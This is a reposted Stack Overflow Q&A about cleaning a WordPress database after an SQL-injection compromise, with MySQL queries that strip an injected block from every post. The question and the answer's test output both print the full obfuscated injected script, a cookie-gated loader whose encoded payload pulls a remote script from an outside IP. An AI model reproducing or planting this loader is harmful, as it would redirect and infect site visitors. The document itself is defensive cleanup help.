gpt4 book ai didi

wordpress - 如何从 SQL 注入(inject)攻击中删除帖子中的脚本?

转载 作者:行者123 更新时间:2023-11-29 15:57:22 24 4
gpt4 key购买 nike

我有一个插件,使我的 WordPress 网站容易受到 SQL 注入(inject)攻击。此后我锁定了我的网站并删除了所有 Wordpress 文件,然后重新安装了 Wordpress。该插件也已被删除。不幸的是,我现在已经安装了以下示例脚本的所有 2503 个帖子:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

问题是,当我搜索特定脚本时,每个帖子的base64字符串都是不同的。所以我不能只进行查找和替换/删除。

我的想法是,由于脚本的开头和结尾实际上已注释,数据库查询不能以某种方式删除它们之间的代码,然后第二个查询删除注释吗?如果是这样我在任何地方都找不到这个。这看起来很容易做到,但显然(根据谷歌)它相当复杂。

希望有人能够采取程序补救措施。与此同时,我将手动执行此删除操作,希望有人可以节省我一些时间。

最佳答案

MySQL 8.0引入新函数REGEXP_REPLACE()但如果您使用的是早期版本的 MySQL,则可以使用 LOCATE()找到文本中的开始和结束位置,然后截取这两个位置之间的内容。

我对此进行了测试 - 我创建了一个表 wp_mytable并将您的违规文本放入其中,前后各添加一些文本。

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE()可以找到开始和结束标签:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+

现在如果我们替换txt位置 9 之前、位置 830+ 之后的内容 LENGTH('<!--/codes_iframe-->') ,这将删除有问题的内容。

首先使用 SELECT 进行测试:

mysql> SELECT 
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123

post_txt:
And that's all, folks.

当我们确信这是正确的子字符串时,将这些片段连接在一起并在更新中使用它们:

mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

与往常一样,在尝试此类手术之前请先备份数据。

我还想到,在完成此替换后,您应该再次搜索数据,以防有问题的脚本在给定文本中插入两次。替换方法仅删除第一个匹配项,但您希望这样做。您不想删除脚本两次出现之间的合法文本。

顺便说一句,得知您遭到 SQL 注入(inject)攻击,我感到很遗憾。人有时很糟糕。

关于wordpress - 如何从 SQL 注入(inject)攻击中删除帖子中的脚本?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56378283/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com